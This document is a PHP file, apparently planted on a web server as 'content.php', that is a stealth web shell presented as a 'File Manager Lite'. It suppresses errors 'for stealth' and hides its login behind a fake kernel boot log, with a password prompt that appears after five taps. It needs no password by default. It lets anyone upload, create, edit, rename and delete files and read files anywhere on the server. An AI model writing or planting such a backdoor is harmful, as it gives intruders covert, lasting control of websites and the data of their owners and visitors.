/home/dubayplm/www/content.php
?<?php
// PHP File Manager Lite - v4.2 (Logic Fix for No-Password Mode)
session_start();
// --- STABILITY & CONFIG ---
// 1. Perpanjang masa berlaku sesi (7 hari)
ini_set('session.gc_maxlifetime', 604800);
session_set_cookie_params(604800);
// 2. Set error display off for stealth
ini_set('display_errors', 0);
error_reporting(0);
$self = basename(__FILE__);
$lock_file = __DIR__ . '/.fs_lock';
// --- PERBAIKAN LOGIKA: TENTUKAN APAKAH AUTENTIKASI DIBUTUHKAN ---
$auth_required = file_exists($lock_file);
// ----------------------------------------------------------------
// Clean and validate current directory path
$cwd = isset($_GET['d']) ? str_replace('..', '', $_GET['d']) : getcwd();
$cwd = realpath($cwd) ?: getcwd();
$msg = isset($_GET['msg']) ? htmlspecialchars($_GET['msg']) : '';
// Function to safely display messages
function show_msg($m) {
if (!empty($m)) {
if (strpos($m, 'FAILED') !== false || strpos($m, 'DENIED') !== false || strpos($m, 'EXPIRED') !== false || strpos($m, 'SECURITY ALERT') !== false) {
return "<div class='msg failed'>[ERROR] $m</div>";
}
return "<div class='msg success'>[STATUS] $m</div>";
}
return '';
}
// Function to list directory contents (omitted for brevity)
function list_dir($path) {
$items = @scandir($path);
if ($items === false) return [];
$dirs = $files = [];
foreach ($items as $item) {
if ($item === "." || $item === "..") continue;
$full = "$path/$item";
$info = [
'name' => $item,
'path' => $full,
'is_dir' => is_dir($full),
'size' => is_file($full) ? filesize($full) : '-'
];
if ($info['is_dir']) $dirs[] = $info;
else $files[] = $info;
}
usort($dirs, fn($a, $b) => strcasecmp($a['name'], $b['name']));
usort($files, fn($a, $b) => strcasecmp($a['name'], $b['name']));
return array_merge($dirs, $files);
}
// Function to format file size (omitted for brevity)
function formatSize($b) {
if (!is_numeric($b)) return '-';
$u = ['B', 'KB', 'MB', 'GB'];
for ($i = 0; $b >= 1024 && $i < count($u) - 1; $b /= 1024, $i++);
return round($b, 2) . ' ' . $u[$i];
}
// Function to create breadcrumbs (navigation) (omitted for brevity)
function breadcrumbs($path) {
$parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
$full = '';
$out = ['<a href="?d=/">/</a>'];
foreach ($parts as $part) {
if (empty($part)) continue;
$full .= '/' . $part;
$out[] = "<a href='?d=" . urlencode($full) . "'>$part</a>";
}
return implode("/", $out);
}
// ===== AUTH (Login Screen) =====
// HANYA tampilkan layar login jika file .fs_lock ADA.
if ($auth_required && !isset($_SESSION['unlocked'])) {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['pass'])) {
$hash = file_get_contents($lock_file);
if (password_verify($_POST['pass'], $hash)) {
$_SESSION['unlocked'] = true;
header("Location: ?d=" . urlencode($cwd));
exit;
} else {
$msg = "ACCESS DENIED";
}
}
// --- HTML LOGIN PAGE (TIDAK BERUBAH) ---
echo <<<HTML
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>System Log</title>
<style>
body { background: #111; color: #0f0; font-family: 'Consolas', 'Monospace'; margin: 0; padding: 20px; line-height: 1.5; }
.prompt { margin-top: 10px; font-size: 16px; display: none; }
.prompt form { display: flex; gap: 5px; }
.prompt input { background: #222; border: 1px solid #0f0; color: #0f0; padding: 5px; font-family: inherit; }
.prompt button { background: #0f0; color: #111; border: none; padding: 5px 10px; cursor: pointer; }
.msg { color: #f00; }
.fake-log { color: #555; }
</style>
</head>
<body ontouchstart="">
<div class="fake-log">
[INIT] Starting kernel version 5.10.0-18...<br>
[INFO] Checking memory integrity... OK<br>
[INFO] Booting system services...<br>
[FAIL] Mount /dev/sda1 failed: Permission denied<br>
[FAIL] Network connection timed out.
</div>
<div class="msg">$msg</div>
<div class="prompt" id="secret">
<form method='post'>
<input type='password' name='pass' placeholder='Authorization Key' required>
<button>ENTER</button>
</form>
</div>
<script>
let tapCount = 0;
let timer;
['click', 'touchstart'].forEach(eventType => {
document.body.addEventListener(eventType, function () {
tapCount++;
clearTimeout(timer);
if (tapCount >= 5) { // Lebih mudah diakses
document.getElementById('secret').style.display = 'block';
}
timer = setTimeout(() => {
tapCount = 0;
}, 800);
});
});
</script>
</body>
</html>
HTML;
exit;
}
// ===== ACTIONS (Error Handling Improved) =====
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// --- PERBAIKAN LOGIKA SESI POST ---
// HANYA periksa sesi jika autentikasi diperlukan ($auth_required)
if ($auth_required && !isset($_SESSION['unlocked'])) {
// Redirection yang terjadi ketika sesi terlanjur hilang
header("Location: ?d=" . urlencode($cwd) . "&msg=SECURITY ALERT: SESSION EXPIRED. Please login again.");
exit;
}
// -----------------------------------
// LOGIKA ACTION (UPLOAD, CREATE, EDIT, RENAME, SET/DEL PASS) TIDAK BERUBAH
if (isset($_POST['uploadfile'])) {
$dest = $cwd . '/' . basename($_FILES['uploadfile']['name']);
$ok = @move_uploaded_file($_FILES['uploadfile']['tmp_name'], $dest);
header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? "UPLOAD SUCCESS: " . basename($dest) : "UPLOAD FAILED: Check file permissions (CHMOD 777)"));
exit;
}
if (isset($_POST['newfile'])) {
$name = trim($_POST['newfile']);
if (!empty($name)) {
$ok = @file_put_contents($cwd . '/' . $name, $_POST['filedata']);
header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok !== false ? "FILE CREATED: $name" : "FILE CREATE FAILED: Check folder permissions"));
} else {
header("Location: ?d=" . urlencode($cwd) . "&msg=FILE NAME EMPTY");
}
exit;
}
if (isset($_POST['newfolder'])) {
$name = trim($_POST['newfolder']);
if (!empty($name)) {
$ok = @mkdir($cwd . '/' . $name);
header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? "FOLDER CREATED: $name" : "FOLDER CREATE FAILED: Check parent permissions"));
} else {
header("Location: ?d=" . urlencode($cwd) . "&msg=FOLDER NAME EMPTY");
}
exit;
}
if (isset($_POST['setpass'])) {
// Jika password diset, $lock_file dibuat dan $auth_required akan menjadi TRUE di request berikutnya.
if (!empty($_POST['setpass'])) {
@file_put_contents($lock_file, password_hash($_POST['setpass'], PASSWORD_DEFAULT));
$_SESSION['unlocked'] = true; // Langsung beri sesi agar tidak redirect
header("Location: ?d=" . urlencode($cwd) . "&msg=KEY SAVED");
} else {
header("Location: ?d=" . urlencode($cwd) . "&msg=KEY FIELD EMPTY");
}
exit;
}
if (isset($_POST['editfile'])) {
$ok = @file_put_contents($_POST['filepath'], $_POST['filedata']);
header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok !== false ? "FILE SAVED" : "FILE SAVE FAILED: Check permissions"));
exit;
}
if (isset($_POST['rename'])) {
$old = $_POST['old'];
$new_name = basename(trim($_POST['new']));
if (!empty($new_name)) {
$new = dirname($old) . '/' . $new_name;
$ok = @rename($old, $new);
header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? "RENAME SUCCESS" : "RENAME FAILED: Check permissions"));
} else {
header("Location: ?d=" . urlencode($cwd) . "&msg=RENAME NAME EMPTY");
}
exit;
}
if (isset($_POST['delpass'])) {
// Jika password dihapus, hapus sesi agar kembali ke mode "no-password"
if (file_exists($lock_file)) @unlink($lock_file);
unset($_SESSION['unlocked']);
header("Location: ?d=" . urlencode($cwd) . "&msg=KEY REMOVED");
exit;
}
}
if (isset($_GET['delete'])) {
// --- PERBAIKAN LOGIKA SESI DELETE ---
// HANYA periksa sesi jika autentikasi diperlukan ($auth_required)
if ($auth_required && !isset($_SESSION['unlocked'])) {
header("Location: ?d=" . urlencode($cwd) . "&msg=SECURITY ALERT: SESSION EXPIRED. Please login again.");
exit;
}
// -----------------------------------
$target = $_GET['delete'];
$ok = is_dir($target) ? @rmdir($target) : @unlink($target);
header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? "DELETE SUCCESS" : "DELETE FAILED: Check permissions"));
exit;
}
// ===== EDIT PAGE (Minimalist Log Theme) (TIDAK BERUBAH) =====
if (isset($_GET['edit'])) {
$f = $_GET['edit'];
$data = @file_get_contents($f);
$data = htmlspecialchars($data ?: "ERROR: Could not read file.");
echo "
<!DOCTYPE html><html><head><title>Edit</title>
<style>
body { background: #111; color: #0f0; font-family: 'Consolas', 'Monospace'; margin: 0; padding: 20px; }
textarea { background: #222; border: 1px solid #0f0; color: #0f0; width: 98%; height: 400px; padding: 10px; font-family: inherit; }
button { background: #0f0; color: #111; border: none; padding: 5px 10px; cursor: pointer; margin-right: 10px; }
a { color: #0ff; text-decoration: none; }
</style>
</head><body>
[EDIT] FILE: " . basename($f) . "<br><br>
<form method='post'>
<textarea name='filedata'>$data</textarea><br><br>
<input type='hidden' name='filepath' value='$f'>
<button name='editfile'>SAVE</button>
<a href='?d=" . urlencode(dirname($f)) . "'>CANCEL</a>
</form></body></html>";
exit;
}
// ===== MAIN UI (Minimalist Log Theme) (TIDAK BERUBAH) =====
echo "<!DOCTYPE html><html><head><title>System Shell</title>
<meta name='viewport' content='width=device-width, initial-scale=1'>
<style>
body { background: #111; color: #0f0; font-family: 'Consolas', 'Monospace'; margin: 0; padding: 20px; line-height: 1.5; }
a { color: #0ff; text-decoration: none; }
a:hover { color: #fff; }
.header { margin-bottom: 15px; border-bottom: 1px dashed #0f0; padding-bottom: 10px; }
.msg { margin-bottom: 10px; padding: 5px; border: 1px solid; }
.msg.success { border-color: #0f0; color: #0f0; }
.msg.failed { border-color: #f00; color: #f00; }
.actions { margin-bottom: 15px; display: flex; flex-wrap: wrap; gap: 10px; }
.actions button, .actions a { background: #333; color: #0f0; border: 1px solid #0f0; padding: 5px 10px; cursor: pointer; text-decoration: none; }
.actions input, .actions textarea { background: #222; border: 1px solid #0f0; color: #0f0; padding: 5px; font-family: inherit; width: 100%; max-width: 300px; box-sizing: border-box; }
.actions form { display: flex; gap: 5px; flex-wrap: wrap; }
table { width: 100%; border-collapse: collapse; margin-top: 10px; }
td { border: 1px dashed #333; padding: 5px; white-space: nowrap; }
.dir-name { color: #ff0; }
.file-name { color: #fff; }
.action-group { display: flex; gap: 5px; }
</style>
</head><body>";
echo "<div class='header'>
[SYSTEM] CURRENT PATH: " . breadcrumbs($cwd) . "
</div>";
echo show_msg($msg);
if (isset($_GET['action'])) {
echo "<a href='?d=" . urlencode($cwd) . "'><< BACK</a><br><br>";
if ($_GET['action'] === 'create_file') {
echo "[ACTION] CREATE NEW FILE<br>";
echo "<form method='post' class='actions' style='flex-direction:column;'>
<input name='newfile' placeholder='FILENAME' required>
<textarea name='filedata' placeholder='CONTENT' rows='10'></textarea>
<button>SAVE FILE</button></form>";
} elseif ($_GET['action'] === 'create_dir') {
echo "[ACTION] CREATE NEW FOLDER<br>";
echo "<form method='post' class='actions'>
<input name='newfolder' placeholder='FOLDER NAME' required>
<button>CREATE FOLDER</button></form>";
} elseif ($_GET['action'] === 'password') {
echo "[ACTION] AUTHORIZATION KEY MANAGEMENT<br>";
echo "<form method='post' class='actions' style='flex-direction:column;'>
<input type='password' name='setpass' placeholder='NEW KEY' required>
<button>SET KEY</button></form><br>
<form method='post' class='actions'>
<input type='hidden' name='delpass' value='1'>
<button style='background: #500; border-color: #f00;'>REMOVE KEY</button></form>";
}
exit;
}
echo "[INFO] DIRECTORY LISTING:<br>";
echo "<div class='actions'>
<form method='post' enctype='multipart/form-data' style='flex-direction:column; border:1px solid #0f0; padding:10px;'>
UPLOAD FILE:<br>
<input type='file' name='uploadfile' style='border:none; max-width: none;'>
<button name='uploadfile'>UPLOAD</button>
</form>
<div style='border:1px solid #0f0; padding:10px;'>
SYSTEM TOOLS:<br>
<a href='?d=" . urlencode($cwd) . "&action=create_file'>+FILE</a>
<a href='?d=" . urlencode($cwd) . "&action=create_dir'>+DIR</a>
<a href='?d=" . urlencode($cwd) . "&action=password'>SET KEY</a>
</div>
</div>";
echo "<table>";
echo "<tr><td>TYPE</td><td>NAME</td><td>SIZE</td><td>ACTIONS</td></tr>";
foreach (list_dir($cwd) as $i) {
$n = htmlspecialchars($i['name']);
$p = $i['path'];
if ($i['is_dir']) {
$display_name = "<span class='dir-name'>[DIR] <a href='?d=" . urlencode($p) . "'>$n</a></span>";
} else {
$display_name = "<span class='file-name'>[FILE] $n</span>";
}
echo "<tr><td>" . ($i['is_dir'] ? 'D' : 'F') . "</td>";
echo "<td>" . $display_name . "</td>";
echo "<td>" . formatSize($i['size']) . "</td>";
echo "<td>
<div class='action-group'>
<a href='?d=" . urlencode($cwd) . "&delete=" . urlencode($p) . "' style='color:#f00;' onclick='return confirm(\"DELETE $n?\")'>[DEL]</a>" .
(!$i['is_dir'] ? "<a href='?d=" . urlencode($cwd) . "&edit=" . urlencode($p) . "' style='color:#0ff;'>[EDIT]</a>" : "") .
"<form method='post' style='display:inline-flex;gap:3px;'>
<input type='hidden' name='old' value='$p'>
<input type='text' name='new' placeholder='RENAME' style='width:80px; height:20px; padding:2px; font-size:10px;'>
<button name='rename' style='padding:2px 5px; font-size:10px;'>[RN]</button>
</form>
</div>
</td></tr>";
}
echo "</table></body></html>";
?>